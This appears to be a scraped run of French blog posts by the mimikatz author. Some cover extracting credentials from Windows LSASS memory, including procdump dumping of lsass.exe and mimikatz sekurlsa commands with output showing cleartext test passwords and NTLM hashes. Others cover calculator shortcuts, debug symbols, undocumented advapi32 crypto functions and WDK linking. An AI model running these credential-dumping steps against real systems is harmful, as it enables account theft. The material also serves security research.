        tspkg
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        livessp n.t. (LUID KO)

Ou en plus court :

mimikatz # sekurlsa::ssp

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        ssp :
         [0] { gentiltest ; WINDOWS-08 ; wazatest1234/ }
         [1] { test ; WINDOWS-08 ; test1234 }

Dans ces deux exemples, le domaine d’authentification n’a pas d’importance, il s’agit de comptes locaux.

Explication rapide

Notre processus habituel, LSASS, tient encore une fois une table de données d’identification que des processus, providers, ou pilotes, peuvent interroger pour établir des connexions.

plain text passwords

C’est pourquoi le module SSP fait son apparition !
La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

La calculatrice de Windows

$
0
0

cette alliée sous-estimée…

Que ce soit celle de NT 5 ou NT 6, la calculatrice de Windows à été faites par des programmeurs… pour des programmeurs !

Manipulation bit-à-bit, modulo, opérations hexa… une bonne partie de nos opérations récurrentes est présente :)

calc_nt6

Pour être encore plus efficace, un petit mémo des raccourcis clavier pour notre mode :

Touche Fonction Touche Fonction Touche Fonction
F5 Hex & And Alt+3 Programmeur
F6 Dec | Or F9 +/-
F7 Oct ^ Xor Ctrl+M MS
F8 Bin ~ Not Ctrl+R MR
F12 Qword % Mod Ctrl+L MC
F2 Dword K RoR Ctrl+P M+
F3 Mot J RoL Ctrl+Q M-
F4 Octet < Lsh    
    > Rsh    

A mémoriser !

gentilkiwi @ AfterWork OSSIR Février 2013

$
0
0

OSSIR-Logo

news0ft m’a offert une tribune sympathique pour présenter mimikatz.
Je serais donc présent à l’AfterWork de l’OSSIR ce Mardi 26 Février à partir de 19h30.

En dehors du plaisir d’y rencontrer une riche communauté, j’y évoquerai le fonctionnement de la récupération de données sensibles dans Windows via mimikatz, tout cela en une petite demi-heure.

Se passant au Café Six, les questions supplémentaires se feront autour d’un verre !

Informations :

WinDBG 6.2.9200.16384


sekurlsa :: minidump

$
0
0

mimikatz est déjà très facile d’emploi sur place… mais si nous prenions à emporter ?

mcdrive
- « Un minidump de LSASS et 4 Cocas »

NT 6

Microsoft nous a fait une bonne surprise ! Il est maintenant possible de dumper des processus directement depuis le gestionnaire de tâches, et ceci sans outils supplémentaires !
minidump_8
Nous sommes ensuite remerciés par :
dumpok
(valable pour Windows Vista et versions supérieures)

NT 5

Cette fois ci, point de méthode interne à Windows, mais nous pouvons passer par Procdump : http://technet.microsoft.com/sysinternals/dd996900.aspx

C:\WINDOWS\Sysinternals>procdump -accepteula -ma lsass.exe lsass.dmp

ProcDump v5.14 - Writes process dump files
Copyright (C) 2009-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards

Writing dump file C:\WINDOWS\Sysinternals\lsass.dmp ...
Writing 48MB. Estimated time (less than) 1 second.
Dump written.

Utilisation

Il suffit maintenant d’utiliser mimikatz sur une plateforme de même version majeure et de même architecture que le dump d’origine.
minidump_matrix
Exemples de configurations :

  • Dump d’un Windows XP x86 => mimikatz x86 sous Windows 2003 x86
  • Dump d’un Vista x64 => mimikatz x64 sous Windows 2012 x64
mimikatz 2.0 alpha x86 release "Kiwi en C" (Apr  2 2013 02:58:12)

/* * *
 Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

http://blog.gentilkiwi.com/mimikatz

                                  with   4 modules * * */


mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 141237
User Name         : sekur_000
Domain            : WINDOWS-8
        msv :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
        tspkg :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        wdigest :
         * Username : sekurlsa@live.fr
         * Domain   : MicrosoftAccount
         * Password : waza1234/
        livessp :
         * Username : sekurlsa@live.fr
         * Domain   : ps:password
         * Password : waza1234/
        kerberos :
        ssp :

mimikatz

Oui, il s’agit de mimikatz 2, une version alpha livrée totalement incomplète pour l’occasion (et certainement encore pleine de bogues).
Le français n’ayant pas beaucoup freiné certaines utilisations, et à la demande de beaucoup (gasp!), cette version sera en anglais.

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz (répertoire alpha)

Symboles Microsoft

$
0
0

pour WinDBG, IDA, Process Explorer, …
Parce que WinDBG seul ne suffit pas, un petit HowTo rapide sur les symboles Microsoft

Les symboles de débogage Microsoft

Microsoft n’est pas avare d’informations, une grande partie des symboles de leurs binaires (exécutables, librairies, pilotes, …) est disponible publiquement !

Cela permet, entre autre, de connaître des noms de fonctions internes, de variables globales, structures, … tout ce que Microsoft accepte que nous connaissions.
Bien que ces informations soient épurées, il n’en reste pas moins quelques pépites.

void __stdcall TSRevealPassword(struct _UNICODE_STRING *)
void __stdcall KerbRevealPassword(struct _UNICODE_STRING *)

Il serait dommage de s’en priver.

Pour cela, les outils présentés dans ce post, utilisent a minima :

  • dbghelp.dll pour manipuler les symboles
  • symsrv.dll pour récupérer les symboles
  • une configuration indiquant le référentiel de symboles
    • au niveau global via _NT_SYMBOL_PATH

Les dernières versions de ces librairies sont installées par WinDBG.

Considérations sur la configuration proposée

  • L’utilisation courante des symboles occupe de l’espace disque
  • Si plusieurs postes doivent déboguer, il est préférable d’utiliser un référentiel intermédiaire afin de ne pas récupérer plusieurs fois les mêmes informations
  • Les utilisateurs doivent pouvoir écrire a minima dans le référentiel final, l’écriture dans l’intermédiaire permet de l’alimenter depuis les utilisations de chacun

Configuration

La configuration proposée est la suivante :

_NT_SYMBOL_PATH = srv*c:\symbols*http://msdl.microsoft.com/download/symbols

A chaque besoin d’un symbole, le référentiel c:\symbols est inspecté.

  • si le symbole y figure, celui-ci est utilisé
  • si le symbole n’y figure pas, le référentiel http://msdl.microsoft.com/download/symbols est utilisé
    Le symbole est ensuite copié dans le référentiel c:\symbols pour éviter de le re-télécharger

Il faut ajouter une nouvelle variable d’environnement système (ou utilisateur) :
sysvardbg

Si un référentiel intermédiaire doit être utilisé :

_NT_SYMBOL_PATH = srv*c:\symbols*\\litchinanas.nirvana.local\programmation\symbols*http://msdl.microsoft.com/download/symbols

Si les droits le permettent, http://msdl.microsoft.com/download/symbols alimente \\litchinanas.nirvana.local\programmation\symbols qui alimente c:\symbols

Les informations sur la définition de cette variable sont disponibles ici : http://msdn.microsoft.com/library/windows/hardware/ff537994.aspx

WinDBG – le prérequis

A l’heure actuelle, la dernière version x86 est disponible ici : http://blog.gentilkiwi.com/retro-ingenierie/windbg-6-2-9200-16384
Une fois installées, les librairies essentielles au fonctionnement des symboles se trouveront dans : C:\Program Files\Windows Kits\8.0\Debuggers\x86 (ou équivalent sous x64).

Utilisation SANS les symboles

mov     dword ptr [notepad+0xc1e4 (001ec1e4)],offset notepad+0x739b (001e739b)
call    dword ptr [notepad+0x1354 (001e1354)]
push    eax
call    notepad+0x77f3 (001e77f3)

Utilisation AVEC les symboles

mov     dword ptr [notepad!OFN+0x44 (001ec1e4)],offset notepad!NpOpenDialogHookProc (001e739b)
call    dword ptr [notepad!_imp__GetOpenFileNameW (001e1354)]
push    eax
call    notepad!_LegacyFileDialogToHR (001e77f3)

N’est-ce pas plus compréhensible ?

Process Explorer & Process Monitor

Certains affichages de Process Explorer et Process Monitor peuvent eux aussi facilement bénéficier de l’aide de symboles.

Via Options / Configure Symbols... :
pesmb
(l’option ‘Symbols Path’ est inutile quand la variable d’environnement _NT_SYMBOL_PATH est renseignée)

Sinon en console :

reg add "HKCU\Software\Sysinternals\Process Explorer" /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Explorer" /v SymbolPath  /t REG_SZ /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v DbgHelpPath /t REG_SZ /d "C:\Program Files\Windows Kits\8.0\Debuggers\x86\dbghelp.dll" /f
reg add "HKCU\Software\Sysinternals\Process Monitor"  /v SymbolPath  /t REG_SZ /f

Utilisation SANS les symboles

penosym

Utilisation AVEC les symboles

pesym
pcstack

IDA

Dans certains cas, IDA n’arrive pas à se débrouiller avec ses propres librairies. Quelques manipulations peuvent largement l’aider…

  1. Supprimer du répertoire d’IDA :
    • dbghelp.dll
    • symsrv.dll
    • symsrv.yes (si présent)
  2. Recopier les fichiers suivants depuis le répertoire de WinDBG (C:\Program Files\Windows Kits\8.0\Debuggers\x86) vers celui d’IDA :
    • symsrv.dll
    • symsrv.yes
  3. Via le fichier de configuration d’IDA (cfg\ida.cfg), modifier la propriété DBGTOOLS (elle est sans doute à dé-commenter, sinon la créer) :
    DBGTOOLS = "C:\\Program Files\\Windows Kits\\8.0\\Debuggers\\x86\\";
    pratique pour piloter, par la même occasion, WinDBG depuis IDA
  4. Forcer l’utilisation des symboles si IDA a été configuré pour ne plus le demander :
    reg add "HKCU\Software\Hex-Rays\IDA\Hidden Messages" /v "IDA Pro has determined that the input file was linked with debug information  Do you want to look fo" /t REG_DWORD /d 1 /f

Utilisation SANS les symboles

idanodbg

Utilisation AVEC les symboles

idadbg

Cryptographie rapide sous Windows

$
0
0

Comment obtenir un hash MD5 sous Windows, déchiffrer un bloc DES ?

j’ai totalement conscience d’évoquer dans ce post des algorithmes considérés comme dépassés, mais ces derniers sont toujours massivement utilisés dans les mécanismes internes de Windows
mimikatz 2.0 s’en sert lui aussi massivement ;)

Limitations

Les algorithmes évoqués dans ce post sont seulement les suivants :

MD4 LM DES (ECB)
MD5 NTLM RC4
SHA1    

Déjà vu sur Internet *

  • assemblage de bouts de code provenant d’Internet (réimplémentation des algorithmes)
  • utilisation des librairies d’OpenSSL
  • utilisation de la CryptoAPI
  • utilisation de la CNG

* je passe sur l’utilisation de CSP/PKCS#11 pour communiquer avec son HSM préféré ;)

A notre disposition sous Windows

Comme déjà listé, il est possible d’utiliser nativement la CryptoAPI, ou sa nouvelle version la CNG… mais n’est-ce-pas un peu lourd pour de si simples besoins ?

Windows incorpore déjà beaucoup de routines dans ses librairies système et, si l’on en utilise une grande partie via les SDK référençant ces API, l’on en occulte quelques-unes très pratiques !

Une majorité de ces API se situent dans la librairie advapi32.

API clairement identifiées

MD4Init MD5Init A_SHAInit
MD4Update MD5Update A_SHAUpdate
MD4Final MD5Final A_SHAFinal

API derrières SystemFunctionXXX

RtlEncryptDES1block1key SystemFunction001
RtlDecryptDES1block1key SystemFunction002
RtlEncryptDESMagicBlock1key SystemFunction003
RtlEncryptDESblocksECB SystemFunction004
RtlDecryptDESblocksECB SystemFunction005
RtlDigestLM SystemFunction006
RtlDigestNTLM SystemFunction007
RtlLMResponseToChallenge
NTLMv1 aussi sans doute
SystemFunction008
SystemFunction009
RtlDigestMD4only16Bytes SystemFunction010
SystemFunction011
RtlEncryptDES2blocks2keys SystemFunction012
SystemFunction014
SystemFunction020
SystemFunction022
RtlDecryptDES2blocks2keys SystemFunction013
SystemFunction015
SystemFunction021
SystemFunction023
RtlEncryptDES2blocks1key SystemFunction016
SystemFunction018
RtlDecryptDES2blocks1key SystemFunction017
SystemFunction019
RtlEncryptDES2blocks1DWORD SystemFunction024
SystemFunction026
RtlDecryptDES2blocks1DWORD SystemFunction025
SystemFunction027
RtlEqualMemory16Bytes SystemFunction030
SystemFunction031
RtlEncryptDecryptRC4 SystemFunction032
SystemFunction033
RtlCheckSignatureInFile SystemFunction035
Clé de session RPC
fonctions non identiques
SystemFunction028
SystemFunction029
SystemFunction034

Téléchargement

La majorité des API sont référencées via des SystemFunctionXXX qui peuvent déjà être liées par la librairie advapi32.lib du SDK ou WDK.

Malheureusement pas les API A_SHAFinal, A_SHAInit, A_SHAUpdate, MD4Final, MD4Init, MD4Update, MD5Final, MD5Init, MD5Update et RtlCheckSignatureInFile (SystemFunction035).

J’ai donc créé trois fichiers :

  • kull_m_crypto.h – en-tête à adapter au projet ciblé pour inclure les prototypes et structures manquants
  • win32\advapi32.hash.lib – librairie x86 à lier pour les API manquantes
  • x64\advapi32.hash.lib – librairie x64 à lier pour les API manquantes

Le tout disponible : http://blog.gentilkiwi.com/downloads/mimikatz.kull_m_crypto.zip

Exemple de petit code

Il est là pour exposer l’utilisation du CRYPTO_BUFFER, du MD5, SHA1 et DES-ECB

const BYTE data[] = "my super secret is a kiwi :)";
const BYTE key[] = "42 & 0xdeadbeef of course !";

CRYPTO_BUFFER
	bData    = {sizeof(data) - 1, sizeof(data) - 1, (PBYTE) data}, 
	bKey     = {sizeof(key) - 1, sizeof(key) - 1, (PBYTE) key},
	bCipData = {0, 0, NULL},
	bDecData = {0, 0, NULL}
;

MD5_CTX md5ctxInput, md5ctxOutput; // MD5 digest in context
SHA_CTX shactxInput, shactxOutput;
SHA_DIGEST shaInput, shaOutput;

NTSTATUS status;

MD5Init(&md5ctxInput);
MD5Update(&md5ctxInput, bData.Buffer, bData.Length);
MD5Final(&md5ctxInput);	// original data MD5 hash

A_SHAInit(&shactxInput);
A_SHAUpdate(&shactxInput, bData.Buffer, bData.Length);
A_SHAFinal(&shactxInput, &shaInput); // original data SHA1 hash

status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
if(status == STATUS_BUFFER_TOO_SMALL)
{
	if(bCipData.Buffer = (PBYTE) LocalAlloc(LPTR, bCipData.Length))
	{
		bCipData.MaximumLength = bCipData.Length;
		status = RtlEncryptDESblocksECB(&bData, &bKey, &bCipData);
	}
} else status = STATUS_NONCONTINUABLE_EXCEPTION;

if(NT_SUCCESS(status)) // Cipher operation OK ?
{
	status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
	if(status == STATUS_BUFFER_TOO_SMALL)
	{
		if(bDecData.Buffer = (PBYTE) LocalAlloc(LPTR, bDecData.Length))
		{
			bDecData.MaximumLength = bDecData.Length;
			status = RtlDecryptDESblocksECB(&bCipData, &bKey, &bDecData);
		}
	} else status = STATUS_NONCONTINUABLE_EXCEPTION;
} 

if(NT_SUCCESS(status)) // Decipher operation OK ?
{
	MD5Init(&md5ctxOutput);
	MD5Update(&md5ctxOutput, bDecData.Buffer, bDecData.Length);
	MD5Final(&md5ctxOutput); // deciphered data MD5 hash

	A_SHAInit(&shactxOutput);
	A_SHAUpdate(&shactxOutput, bDecData.Buffer, bDecData.Length);
	A_SHAFinal(&shactxOutput, &shaOutput); // deciphered data SHA1 hash
		
	// data compare works too, but it's for expose MD5 & SHA1 functions ;)
	wprintf(L"MD5  match : %s\n",
		RtlEqualMemory(md5ctxInput.digest, md5ctxOutput.digest, MD5_DIGEST_LENGTH) ? L"OK" : L"KO");
	wprintf(L"SHA1 match : %s\n",
		RtlEqualMemory(shaInput.digest, shaOutput.digest, SHA_DIGEST_LENGTH) ? L"OK" : L"KO");
}

LocalFree(bDecData.Buffer);
LocalFree(bCipData.Buffer);

Correction d’un en-tête Windows

Les seules API un tant soit peu présentes dans les en-têtes standards de Windows sont les suivantes :

  • RtlEncryptMemory
  • RtlDecryptMemory
  • RtlGenRandom

Lors de l’utilisation de ces fonctions, avec les fichiers proposés ou non, si les erreurs suivantes apparaissent lors de la création des liens :

error LNK2001: symbole externe non résolu _SystemFunction036
error LNK2001: symbole externe non résolu _SystemFunction040
error LNK2001: symbole externe non résolu _SystemFunction041

C’est que l’en-tête ntsecapi.h déclare incorrectement les prototypes des fonctions.
Il faut malheureusement les corriger :

BOOLEAN
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

en rajoutant la convention d’appel WINAPI (__stdcall) :

BOOLEAN WINAPI
RtlGenRandom(
    __out_bcount(RandomBufferLength) PVOID RandomBuffer,
    __in ULONG RandomBufferLength
    );
//...
NTSTATUS WINAPI
RtlEncryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

NTSTATUS WINAPI
RtlDecryptMemory(
    __inout_bcount(MemorySize) PVOID Memory,
    __in ULONG MemorySize,
    __in ULONG OptionFlags
    );

Visual Studio – Compilation C, dépendances et taille d’exécutable

$
0
0

Quelques données brutes post-compilation d’un code source simple :

#include <stdio.h>

int main(int argc, char **argv)
{
	printf("Hello Kiwi\n");
	return 0;
}

Rien de particulier, ce code devrait juste donner un exécutable des plus léger.

Compilation dynamique

Plateforme Taille Dépendances
VC9 (Visual Studio 2008) 7 168 msvcr90.dll
kernel32.dll
VC10 – (Visual Studio 2010) 6 144 msvcr100.dll
kernel32.dll
VC11 – (Visual Studio 2012) 7 168 msvcr110.dll
kernel32.dll
  • Avantage : code très léger
  • Inconvénient : nécessite la présence de runtimes spécifiques sur les environnements ciblés

Compilation statique

Plateforme Taille Dépendances
VC9 – (Visual Studio 2008) 53 248 kernel32.dll
VC10 – (Visual Studio 2010) 46 080 kernel32.dll
VC11 – (Visual Studio 2012) 62 976 kernel32.dll
  • Avantage : plus de dépendances aux runtimes !
  • Inconvénient : taille conséquente ! le contenu des librairies est incorporé au binaire

Compromis

Plateforme Taille Dépendances
WDK 7600.16385.1 6 144 msvcrt.dll
kernel32.dll
  • Avantage : code très léger ! (utilise les runtimes du système, plus de dépendances externes)
  • Inconvénient : certaines fonctionnalités récentes ne sont pas disponibles dans ce runtime

Créer des exécutables liés au runtime par défaut du système

$
0
0

vehicule
parce que c’est plus léger, et plus portable…

Reprenons notre code « simple » :

#include <stdio.h>

int main(int argc, char **argv)
{
	printf("Hello Kiwi\n");
	return 0;
}

Introduction

Afin de construire cet exécutable, aussi simple soit-il, le compilateur doit savoir ou « trouver » la fonction printf.
printf fait heureusement partis des fonctions « de base » et est inclus dans les runtimes C/C++ de Visual Studio.

Visual Studio devra donc lier notre exécutable à la librairie contenant le code de printf :

sous Visual Studio 2010, avec msvcr100.dll

  Version      : 0
  Machine      : 14C (x86)
  TimeDateStamp: 4DF2B873 Sat Jun 11 02:36:03 2011
  SizeOfData   : 00000015
  DLL name     : MSVCR100.dll
  Symbol name  : _printf
  Type         : code
  Name type    : no prefix
  Hint         : 1495
  Name         : printf

sous Visual Studio 2012, avec msvcr110.dll

  Version      : 0
  Machine      : 14C (x86)
  TimeDateStamp: 50988325 Tue Nov 06 04:25:25 2012
  SizeOfData   : 00000015
  DLL name     : MSVCR110.dll
  Symbol name  : _printf
  Type         : code
  Name type    : no prefix
  Hint         : 1584
  Name         : printf

Mais comment fait Windows pour son fonctionnement interne ?
Nous savons que les runtimes C/C++ de Visual Studio 2010 ou 2012 ne sont pas installés par défaut sous Windows, alors comment fait-il pour se passer de ces librairies ?

Runtimes du système

Prenons un programme, dont nous sommes sûrs qu’il utilise la sortie console (et donc a priori printf) : l’Invite de commandes (cmd.exe).

Dump of file c:\Windows\System32\cmd.exe

File Type: EXECUTABLE IMAGE

  Section contains the following imports:

    msvcrt.dll
              4AD01000 Import Address Table
              4AD2286C Import Name Table
              FFFFFFFF time date stamp
              FFFFFFFF Index of first forwarder reference

      6FF636AA    48F exit
      [...]
      6FF5A73F    560 wcsrchr
      6FF59910    4EA memcpy
      6FF6C5B9    4F3 printf
      6FFF2900    1DB _iob
      6FF63E00    49F fprintf
      [...]

Windows utilise donc la librairie msvcrt.dll (%SystemRoot%\System32), soit les runtimes par défaut du système. Ce qui paraît logique…

Cette librairie est très pratique :

  • pas de déploiement de runtimes !
  • nous sommes sûrs de la trouver sur toutes les versions de Windows
  • sauf exceptions, elle répond à la plupart de nos usages

Limitation : pas de librairie de débogage des runtimes système présente sur les systèmes (la compilation et les programmes ne fonctionneront qu’en version « release »).

Comment pourrions-nous aussi en bénéficier ?

  • Utilisons le contenu du Windows Driver Kit !
  • recréons le fichier .lib permettant de nous lier à ce runtime par défaut fastidieux !

Pré-requis

Le Windows Driver Kit (WDK) contient les fichiers .lib nécessaires et il est tout à fait possible de modifier les propriétés de son projet C/C++ pour abandonner l’utilisation des librairies de Visual Studio pour pointer vers celles du WDK.

C’est assez hasardeux ; les résultats ne sont pas toujours au rendez-vous.
Peut-être pouvons-nous faire plus simple et tirer encore plus parti du WDK ?

Les plateformes MsBuild

Microsoft nous offre énormément de fonctionnalités/possibilités avec ses nouvelles versions de Visual Studio (2010, 2012…).
L’un d’elle est de pouvoir personnaliser ses environnements de compilation.

  1. se placer dans le répertoire des définitions des plateformes de compilation : %ProgramFiles%\MSBuild\Microsoft.Cpp\v4.0\Platforms (ou ProgramFiles(x86))
  2. décompresser le fichier ddk2003.zip, cela doit donner l’arborescence suivante
    C:\PROGRAM FILES\MSBUILD\MICROSOFT.CPP\V4.0\PLATFORMS
    +---Win32
    |   |
    |   \---PlatformToolsets
    |       +---ddk2003
    |       |       Microsoft.Cpp.Win32.ddk2003.props
    |       |       Microsoft.Cpp.Win32.ddk2003.targets
    |       |
    |       +---v100
    |       \---v90
    |
    \---x64
        |
        \---PlatformToolsets
            +---ddk2003
            |       Microsoft.Cpp.x64.ddk2003.props
            |       Microsoft.Cpp.x64.ddk2003.targets
            |
            +---v100
            \---v90
  3. éventuellement, modifier les fichiers .props pour pointer sur un autre emplacement du WDK, ou sur d’autres librairies que celles de Windows 2003 (elles ont l’avantage de couvrir l’ensemble des versions de Windows)

Visual Studio

Il suffit de placer le projet en « release » puis de sélectionner les outils de plateforme ddk2003 dans les propriétés du projet :
plateforme
… et de compiler

C:\[...]\Release>ConsoleApplication1.exe
Hello Kiwi

C:\[...]\Release>dumpbin /imports ConsoleApplication1.exe | findstr /i .dll
    msvcrt.dll
    KERNEL32.dll

C:\[...]\Release>dir ConsoleApplication1.exe
[...]
27/05/2013  02:41             7 680 ConsoleApplication1.exe

Notes : l’utilisation du WDK peut nécessiter la récupération de quelques « headers » non présent dans le WDK.

Bonus Visual Studio 2012

Un modèle tout prêt et optimisé pour cette nouvelle plateforme de compilation « Application console Win32-DDK » : console_ddk2003.zip.
A poser (non décompressé) dans le répertoire : %userprofile%\Documents\Visual Studio 2012\Templates\ProjectTemplates

template_c

Viewing all 56 articles
Browse latest View live